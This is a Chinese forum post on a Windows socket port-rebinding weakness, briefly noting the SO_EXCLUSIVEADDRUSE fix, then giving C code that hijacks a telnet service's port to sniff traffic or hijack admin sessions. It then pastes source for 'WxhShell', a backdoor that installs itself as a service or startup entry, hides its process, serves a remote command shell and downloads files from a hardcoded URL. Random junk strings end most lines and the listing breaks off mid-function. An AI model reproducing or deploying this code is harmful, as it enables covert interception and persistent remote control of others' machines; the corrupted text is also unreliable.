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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^}Qj}  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +xfW`[.{  
~59`S#ax/l  
  saddr.sin_family = AF_INET; (\t_Hs::a  
12sD|j  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @GQ8q]N:<  
VtO;UN  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); dAr)%RZ  
oL Vtu5  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 qzA]2'~Q  
0sDwTb"  
  这意味着什么?意味着可以进行如下的攻击: 1@^Ek8C  
7B]:3M6d  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1N9< d,  
D2</^]3Su  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +Y)#yGUn  
i*CQor6|z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Tz[?gF.Do  
kAN;S<jSE  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  `{U%[$<[W  
y[p$/$bgC5  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ml.;wB|  
#M?F^u[  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 LxlbD#<V  
7~"(+f  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 J+b!6t}mZn  
/3Nb  
  #include Pc)VK>.fc  
  #include P:(EU s}0  
  #include .L7Yf+yFg  
  #include    N3gNOq&  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0UGiPH,()  
  int main() d"I28PIS"  
  { TcD[Teu  
  WORD wVersionRequested; FU\/JF.j  
  DWORD ret; LR3`=Z9  
  WSADATA wsaData; ~#"7,rQp  
  BOOL val; aLKMDiT  
  SOCKADDR_IN saddr; v0`qMBr1y  
  SOCKADDR_IN scaddr; #_?TIY:h  
  int err; 'sRg4?PT  
  SOCKET s; 3X$Q,  
  SOCKET sc; |'c4er/;#  
  int caddsize; ?Z Rkn+;  
  HANDLE mt; G7Z vfLR{:  
  DWORD tid;   I{42'9  
  wVersionRequested = MAKEWORD( 2, 2 ); 0aC 2 Pym^  
  err = WSAStartup( wVersionRequested, &wsaData ); Wk`bb!P_  
  if ( err != 0 ) { drENkS=,  
  printf("error!WSAStartup failed!\n"); |,;twj[?4  
  return -1; kz0I2!bt  
  } i)7n c  
  saddr.sin_family = AF_INET; o)tKH@`vE  
   ,$h(fM8GC  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =!(*5\IM  
3+(yI 4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); xN`r4  
  saddr.sin_port = htons(23); /WgPXEB  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =Y &9 qt  
  { v Zb|!#I  
  printf("error!socket failed!\n"); djsz!$  
  return -1; K/vxzHSl  
  } 894r;UA7  
  val = TRUE; q Vm"f,ruo  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 4D^ M<Xn  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =`qRu  
  { #%? FM>  
  printf("error!setsockopt failed!\n"); #)^^_  
  return -1; ]8$#qDS@  
  } rH$eB/#F  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =[]x\&@t  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1l/AKI(!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 4>4V-m\  
;w`sz.  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *A?8F"6>  
  { {ExII<=6  
  ret=GetLastError(); 9ZDVy7m\i-  
  printf("error!bind failed!\n"); FZe:co8Mu  
  return -1; *.," N}  
  } O87"[c`>  
  listen(s,2); { p1lae  
  while(1) bz{^h'  
  { j)jCu ;`  
  caddsize = sizeof(scaddr); <nDNiM#  
  //接受连接请求 +I|Rk&  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); dqqnCXYuW  
  if(sc!=INVALID_SOCKET)  vv+TKO  
  { F:M>z=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6xH;: B)d  
  if(mt==NULL) X=v~^8M7%  
  { 5>k>L*5J  
  printf("Thread Creat Failed!\n"); wgY6D!Y   
  break; 9p <:=T  
  } [34zh="o  
  } 1ZT^)/G  
  CloseHandle(mt); Wrmgu}q  
  } u`'ki7LA  
  closesocket(s); >M?H79fF2s  
  WSACleanup(); !|:RcH[  
  return 0; $hh+0hs  
  }   8h2D+1,PZC  
  DWORD WINAPI ClientThread(LPVOID lpParam) OmB TA=E<  
  { ,H>W:O  
  SOCKET ss = (SOCKET)lpParam; XZ.7c{B<  
  SOCKET sc; wJ6_I$>  
  unsigned char buf[4096]; :qxm !P  
  SOCKADDR_IN saddr; oJ^C]E  
  long num; @-0Fe9 n=  
  DWORD val; k+FMZ, D|  
  DWORD ret; L e*`r2  
  //如果是隐藏端口应用的话,可以在此处加一些判断 0|g[o:;fl_  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   WtIMvk  
  saddr.sin_family = AF_INET; }N?g|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); pvlDjj}  
  saddr.sin_port = htons(23); tcZa~3.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) & =G)NeT_  
  { H#OYw#L"u  
  printf("error!socket failed!\n"); %/51o6a  
  return -1; F8;mYuA  
  } 6DB0ni  
  val = 100; d$w(-tV42  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C 8N%X2R  
  { C1b*v&1{  
  ret = GetLastError(); z. 'Fv7  
  return -1; $; ?c?n+  
  } C>^,*7dS  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wb b*nL|P  
  { Q|?'(J+  
  ret = GetLastError(); W!t{rI72  
  return -1; rn;<HT  
  } /iplU  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +jUgx;u,  
  { ]DO&x+Rb  
  printf("error!socket connect failed!\n"); e,(a6X  
  closesocket(sc); Z:!IX^q;}n  
  closesocket(ss); :$Q`>k7A  
  return -1; V\0E=M*P  
  } bl=ku<}@  
  while(1) E>E*ZZuhj  
  { P$g^vS+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 p!_[qs  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 58::h. :  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 k@yh+v5  
  num = recv(ss,buf,4096,0); 09'oz*v{#  
  if(num>0) 30s; }  
  send(sc,buf,num,0); D93gH1z  
  else if(num==0) {Ur7# h5  
  break; gljo;f:  
  num = recv(sc,buf,4096,0); w8p8 ;@  
  if(num>0) GF*>~_Yr  
  send(ss,buf,num,0); :5J_5,?;`  
  else if(num==0) p}uncIod  
  break; pr_>b`p6  
  } 28a$NP\KW  
  closesocket(ss); ZWS2q4/S  
  closesocket(sc); 802H$P^ps  
  return 0 ; V C-d0E0  
  } =>qTNh*'  
Us]=Y}(  
M diw Ri  
========================================================== c;9.KCpwx  
4ZwKpQ6  
下边附上一个代码,,WXhSHELL \w%@?Qik  
"oR@JbdX  
========================================================== rh66_eV  
E;9>ePd@  
#include "stdafx.h" &n:{x}Uc  
3@_Elu  
#include <stdio.h> zyFUl%  
#include <string.h> L0L2Ns  
#include <windows.h> M/pMs 6  
#include <winsock2.h> 0mTr-`s  
#include <winsvc.h> X %4Kj[I^  
#include <urlmon.h> [*Uu#9  
~W-cGb3c  
#pragma comment (lib, "Ws2_32.lib") 5!(?m~jJ  
#pragma comment (lib, "urlmon.lib") ^`XCT  
19W:-Om  
#define MAX_USER   100 // 最大客户端连接数  lq>AGw  
#define BUF_SOCK   200 // sock buffer Y1)!lTG  
#define KEY_BUFF   255 // 输入 buffer nls   
-_em%o3XC  
#define REBOOT     0   // 重启 dEp7{jY1O  
#define SHUTDOWN   1   // 关机 2%]Z Kd  
Z.1> kZ  
#define DEF_PORT   5000 // 监听端口 6@V~0DG  
1& ^?U{  
#define REG_LEN     16   // 注册表键长度 iX"C/L|JN  
#define SVC_LEN     80   // NT服务名长度 s2REt$.q  
6KRO{QK  
// 从dll定义API [%pRfjM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g<wRN#B  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n<7u>;SJQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nS9wb1Zl  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _MuZ4tc  
02=lsV!U  
// wxhshell配置信息 r@kP*  
struct WSCFG { ac8P\2{"  
  int ws_port;         // 监听端口 A6 !F@Ic[  
  char ws_passstr[REG_LEN]; // 口令 A&"%os  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^x m$EY*Y,  
  char ws_regname[REG_LEN]; // 注册表键名 YlF%UPp  
  char ws_svcname[REG_LEN]; // 服务名 H,y4`p 0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tU :EN;H  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q%i-`S]}qL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 cBXWfv4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G8J*Wnwu[K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [0y$! f4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 E\U`2{^.  
2oCkG~j  
}; _zMgoc7  
=Vw 5q},3  
// default Wxhshell configuration 69G`2_eKCp  
struct WSCFG wscfg={DEF_PORT, Ba'LRz  
    "xuhuanlingzhe", Bd~1P/  
    1, T.m mmT  
    "Wxhshell", k[kju%i4  
    "Wxhshell", ._PzYE|m2  
            "WxhShell Service", ~}"]&%Q{J  
    "Wrsky Windows CmdShell Service", Ig6T g ?  
    "Please Input Your Password: ", :j^FJ@2_  
  1, x@KZ ]  
  "http://www.wrsky.com/wxhshell.exe", S DLvi!y  
  "Wxhshell.exe" B9,^mE#  
    }; \tN-(=T  
5ZY<JA3  
// 消息定义模块 2RM+W2!!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ])}(k  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cC'x6\a  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &#yR;{  
char *msg_ws_ext="\n\rExit."; r^,<(pbd  
char *msg_ws_end="\n\rQuit."; x[ 3A+  
char *msg_ws_boot="\n\rReboot..."; nh>K`+>co  
char *msg_ws_poff="\n\rShutdown..."; cV{o?3<:B  
char *msg_ws_down="\n\rSave to "; XB59Vm0E=  
o*rQP!8,oy  
char *msg_ws_err="\n\rErr!"; x1&W^~  
char *msg_ws_ok="\n\rOK!"; 6CbxuzYer  
$~;D9  
char ExeFile[MAX_PATH]; -E"GX  
int nUser = 0; /X'(3'a  
HANDLE handles[MAX_USER]; [`RX*OH2  
int OsIsNt; \QE)m<GUe  
^= 0m-/  
SERVICE_STATUS       serviceStatus; kOo~%kcQ'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `;l.MZL!  
.iX# A<E}  
// 函数声明 :GpDg  
int Install(void); UMl#D >:C<  
int Uninstall(void); NKb1LbnZ*y  
int DownloadFile(char *sURL, SOCKET wsh); \*f;Xaa  
int Boot(int flag); %ru;;h  
void HideProc(void); ,\2:/>2  
int GetOsVer(void);  Q6'x\  
int Wxhshell(SOCKET wsl); rgmF:C  
void TalkWithClient(void *cs); XxIHoX&  
int CmdShell(SOCKET sock); 3jB$2:#  
int StartFromService(void); 9}a_:hAy/  
int StartWxhshell(LPSTR lpCmdLine); l 'DsZ9y@2  
,L bBpi=TJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +l3=3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); l<0}l^C.  
X4l@woh%  
// 数据结构和表定义 ^j#rZ;uc   
SERVICE_TABLE_ENTRY DispatchTable[] = ?;/^Ya1;Z  
{ $Iv2j">3)  
{wscfg.ws_svcname, NTServiceMain}, W"^wnGa@a  
{NULL, NULL} a<}#HfC;'  
}; ]$b[` g&  
b306&ZVEk  
// 自我安装 6`vC1PK^  
int Install(void) M" ^PW,k  
{ ./Q,  
  char svExeFile[MAX_PATH]; %NL^WG:  
  HKEY key; N_:qRpp6i  
  strcpy(svExeFile,ExeFile); _=CZR7:O  
!aO` AC=5u  
// 如果是win9x系统,修改注册表设为自启动 [(1c<b2r  
if(!OsIsNt) { 9z)5Mdf1j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w?kJ+lmOQy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dT,o=8fg  
  RegCloseKey(key); "BX!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E dZ\1'&/9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P) 3mX.(}  
  RegCloseKey(key); .`>y@p!  
  return 0; [q !T Iq  
    } E4 m`  
  } ,|&9M^  
} ( =~&+z  
else { K2%w0ohC  
,^#yo6-  
// 如果是NT以上系统,安装为系统服务 KM^ufF2[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #9K-7je;j  
if (schSCManager!=0) ME'|saP  
{ 3Zi@A4Wu  
  SC_HANDLE schService = CreateService k'0Pi6  
  ( 6G=j6gK%P  
  schSCManager, ^%O]P`$  
  wscfg.ws_svcname, xhcK~5C  
  wscfg.ws_svcdisp, ZXm/A0)S  
  SERVICE_ALL_ACCESS, Y ')x/H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0}_[DAd6  
  SERVICE_AUTO_START, giz7{Ai  
  SERVICE_ERROR_NORMAL, qucq,Yw  
  svExeFile, x c{hC4^V  
  NULL, x?&$ci  
  NULL, Q7W>qe%4  
  NULL, GnvL'ESa@M  
  NULL, Q-1vw6d  
  NULL rRFhGQq1m  
  ); XQw>EZdj_N  
  if (schService!=0) h: 9Zt0,  
  { 6? w0  
  CloseServiceHandle(schService); ;Iq/l%vX  
  CloseServiceHandle(schSCManager); l+V>]?j  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~6p[El#tS  
  strcat(svExeFile,wscfg.ws_svcname); ,G)r=$XU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T#>7ub  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o"*AtGR+"  
  RegCloseKey(key); 812$`5l  
  return 0; t.;LnrY  
    } G;YrF)\  
  } r?/'!!4  
  CloseServiceHandle(schSCManager); Fi0GknQ+  
} i-6 Z"b{  
} ~c\e'&sc;  
Qjb:WC7he  
return 1; .0es 3Rj  
} p|!  
<u2}i<#  
// 自我卸载 NU0g07"  
int Uninstall(void) F]<Xv"  
{ <~WsD)=$  
  HKEY key; H- $)3"K  
x9JD\vZ  
if(!OsIsNt) { >D4# y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =uS9JU^E  
  RegDeleteValue(key,wscfg.ws_regname); ;n 7/O5M|  
  RegCloseKey(key); w4gJoxY-`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :\|SQKD  
  RegDeleteValue(key,wscfg.ws_regname); 9E6_]8rl  
  RegCloseKey(key); ,k;^G>< =  
  return 0; [EKQR>s)  
  } =|Y,+/R?  
} }"|K(hq  
} , 'u W*kx  
else { h D/*h*}T>  
adR)Uq9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T \_ ]^]>  
if (schSCManager!=0) 7Ve1]) u  
{ a*&B`77`|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r4SXE\ G  
  if (schService!=0) #~ )IJ  
  { V{!J-nO  
  if(DeleteService(schService)!=0) {  bJX)$G  
  CloseServiceHandle(schService); rogT~G}q  
  CloseServiceHandle(schSCManager); Rx}$0c0  
  return 0; '!eKTC>  
  } oaIi2=Tf  
  CloseServiceHandle(schService); }n>p4W"OM  
  } H["`Mn7j2  
  CloseServiceHandle(schSCManager); MB~=f[cUnd  
}  A|<jX}  
} C@'h<[v`1v  
VT\F]Oa#  
return 1; o%IA}e7PAa  
} {y_98N  
)!P)U(*v  
// 从指定url下载文件 : qd`zG3  
int DownloadFile(char *sURL, SOCKET wsh) T[g[&K1Y  
{ 5?]hd*8   
  HRESULT hr; T9Nb`sbV]  
char seps[]= "/"; K/|Z$4S  
char *token; N/MUwx;P  
char *file; 8; 0A g  
char myURL[MAX_PATH]; e?8HgiP-  
char myFILE[MAX_PATH]; '/^qJ7eb  
7+\+DujE$  
strcpy(myURL,sURL); =4FXBPoQK  
  token=strtok(myURL,seps); ;wz^gdh;  
  while(token!=NULL) 2#c<\s|C  
  { WE:24b6  
    file=token; d?A 0MKnl  
  token=strtok(NULL,seps); +JjW_Rl?=V  
  } n[lJLm^(_C  
^\4h<M  
GetCurrentDirectory(MAX_PATH,myFILE); B><d9d  
strcat(myFILE, "\\"); iKX-myCz  
strcat(myFILE, file); ]&lY%"U$i  
  send(wsh,myFILE,strlen(myFILE),0); ^ hZ0IM  
send(wsh,"...",3,0); )b)-ZS7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xc=b |:A  
  if(hr==S_OK) ^")Q YE  
return 0; lh7jux  
else Nn!+,;ut  
return 1; W*Zkc:{eB  
DH\0z[  
} x!5'`A!W%  
`p2+&&]S  
// 系统电源模块 \hDlTp }  
int Boot(int flag) ChGYTn`X   
{ /|C*  
  HANDLE hToken; -zOdU}91Ao  
  TOKEN_PRIVILEGES tkp; bk;?9%TW  
H[,i{dD  
  if(OsIsNt) { f4 P8Oz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I|gB@|_~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &$`P,i 1)  
    tkp.PrivilegeCount = 1; F\KjEl0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vq(0OPj8r[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); aX)I3^ar  
if(flag==REBOOT) { ,JAx ?Xb  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ILEz;D{]   
  return 0; VVac:  
} d3 ZdB4L  
else { 1w@(5 ^V  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) TN+iA~kQ  
  return 0; 42G)~lun-d  
} kMi/>gpQ  
  } [j=yMP38!:  
  else { + B B@OW  
if(flag==REBOOT) { s4A43i'g!h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *>7>g"  
  return 0; m% -g~q  
} f$e[u E r  
else { 7puFz4+f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ObVGV  
  return 0; CZud& <  
} \2N!:%k  
} 2@'oe7E  
TC!Yb_H}gN  
return 1; U>=Z- T  
} FGigbtj`  
WA)yfo0A  
// win9x进程隐藏模块 l?Udn0F  
void HideProc(void) vK|E>nL  
{ 8@i7pBl@  
xjfV?B'Y}V  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :W!7mna  
  if ( hKernel != NULL ) %7zuQ \w  
  { _}lZ,L(w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qE&v ;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); YVQN&|-  
    FreeLibrary(hKernel); PRu 6xsyA  
  } .7e2YI,S  
#hfXZVD  
return; \KMToN&2  
} !=;+%C&8y  
@$S+Ne[<  
// 获取操作系统版本 S%bCyK%p  
int GetOsVer(void) & ?h#Z!  
{ s.bc>E0  
  OSVERSIONINFO winfo; QdT}wkX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z>58dA@f  
  GetVersionEx(&winfo); N60rgSzI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @e(o129  
  return 1; +giyX7BPJ  
  else {@6= Q 6L  
  return 0; Wk~W Ozr}^  
} 0h#l JS*  
_ky,;9G]  
// 客户端句柄模块 5]KW^sL  
int Wxhshell(SOCKET wsl) |^:cG4e  
{ B~]k#Ot)  
  SOCKET wsh; Aydm2!l1  
  struct sockaddr_in client; )Xk0VDNp$/  
  DWORD myID; .`HYA*8_  
E27vR 7  
  while(nUser<MAX_USER) |L%Z,:yO  
{ ?5C!<3gM)  
  int nSize=sizeof(client); LPZF)@|`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V=R 3)GC  
  if(wsh==INVALID_SOCKET) return 1; )WRLBFi3  
m? eiIrMW  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >zw.GwN|  
if(handles[nUser]==0) q*U*Fu+  
  closesocket(wsh); $Z.7zH  
else nxUJN1b!N  
  nUser++; _-q.Q^  
  } pWy=W&0~qf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ![`Ay4AZ@a  
{IxA)v-`  
  return 0; jr)1(**  
} Huy5-[)15  
k.5u  
// 关闭 socket (U&tt]|  
void CloseIt(SOCKET wsh) Li!Vx1p;u.  
{ ;nep5!s;<  
closesocket(wsh); "fG8?)d;  
nUser--; n!YKz"$  
ExitThread(0); hBS.a6u1'd  
} 'Q|M'5'  
=d".|k  
// 客户端请求句柄 0"kbrv2y  
void TalkWithClient(void *cs) XRcqhv  
{ sPr~=,F  
m_.>C  
  SOCKET wsh=(SOCKET)cs; PH1p2Je  
  char pwd[SVC_LEN]; -8; 7Sp1  
  char cmd[KEY_BUFF]; bSiYHRH.e  
char chr[1]; K~c=M",mW  
int i,j;  O{QA  
d;zai]]  
  while (nUser < MAX_USER) { `P@T$bC  
G/b^|;41  
if(wscfg.ws_passstr) { wG~`[>y (  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3vuivU.3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "3Uv]F  
  //ZeroMemory(pwd,KEY_BUFF); LCZ\4g05  
      i=0; &|Bc7+/P  
  while(i<SVC_LEN) { Kf>A\l^X7  
C>-aIz!y  
  // 设置超时 O[I\A[*  
  fd_set FdRead; @OV|]u  
  struct timeval TimeOut; *AG#316  
  FD_ZERO(&FdRead); <oR a3Gi(%  
  FD_SET(wsh,&FdRead); k[bD\'  
  TimeOut.tv_sec=8; @JtM5qB  
  TimeOut.tv_usec=0; JW{rA6?   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q)Lu_6 mg  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q"%_tS  
5>CEl2mSl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k,85Y$`'  
  pwd=chr[0]; GC?ON0g5s  
  if(chr[0]==0xd || chr[0]==0xa) { rm5bkJcg~  
  pwd=0; ~ DBcIy?  
  break; \SN&G `o<  
  } ZjgsR|i  
  i++; I%r{]-Obr-  
    } JG" R\2  
ey2S#%DF]  
  // 如果是非法用户,关闭 socket $CY~5A`l9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I/a/)No  
} 4[.oPK=i  
4[;X{ !  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W~zbm]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TOkp%@9/  
lhYe;b(  
while(1) { IAw{P08+  
HW=C),*]cR  
  ZeroMemory(cmd,KEY_BUFF); 6eT5ktf  
]ro*G"-_1#  
      // 自动支持客户端 telnet标准   '_GrD>P)-  
  j=0; xfpa]Z  
  while(j<KEY_BUFF) { ,5|&A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); **$LR<L  
  cmd[j]=chr[0]; Gcdd3W`O  
  if(chr[0]==0xa || chr[0]==0xd) { v:!Z=I}>  
  cmd[j]=0; A;*d}Xe&J  
  break; ] Bcp;D  
  } E;Y;z  
  j++; M!/Cknm  
    } ]!I7Y.w6  
{ vKLAxc  
  // 下载文件 n&"B0ycF  
  if(strstr(cmd,"http://")) { P,xKZ{(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +_; l|uhT;  
  if(DownloadFile(cmd,wsh)) -n=^U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ont%eC\  
  else `}(b2Hc>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jz7!4mu  
  } <g1hxfKx5  
  else { i>D.!x  
qyF{f8pzq  
    switch(cmd[0]) { luo   
  '^No)n\`  
  // 帮助 O_ChxX0KP  
  case '?': { 8vMG5#U[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -*$HddD  
    break; \MbB#  
  } eM$sv9?  
  // 安装 ?\t#1"d  
  case 'i': { v*r7Zz6l  
    if(Install()) yKa{08X:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b6U2GDm\s  
    else Y&S24aql  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #:[t^}  
    break; qv]}$WU  
    } vgsJeV`}I  
  // 卸载 V!lZ\)  
  case 'r': { g]4(g<:O  
    if(Uninstall()) >Db;yC&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ov-icDMm  
    else OW3sS+y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w2 a1mU/  
    break; \HKxh:F'  
    } Y0x%sz 5  
  // 显示 wxhshell 所在路径 5Ow[~p"l<  
  case 'p': { vRs,zL$W  
    char svExeFile[MAX_PATH]; TygW0b 1  
    strcpy(svExeFile,"\n\r"); K('hC)1  
      strcat(svExeFile,ExeFile); 7J EbH?lEN  
        send(wsh,svExeFile,strlen(svExeFile),0); wgamshm"d  
    break; 'eLqlu|T  
    } M_"L9^^>N  
  // 重启 )L#i%)+  
  case 'b': { !a7[ 8&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l038%U~U!  
    if(Boot(REBOOT)) h|,:e;>}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6LalW5I  
    else { BI3@|,._N  
    closesocket(wsh); RloK,bg  
    ExitThread(0); n?- })  
    } {so `/EWa  
    break; [H6hyG~  
    } a0D%k:k5  
  // 关机 bn!HUM,  
  case 'd': { l|kSsP:GO  
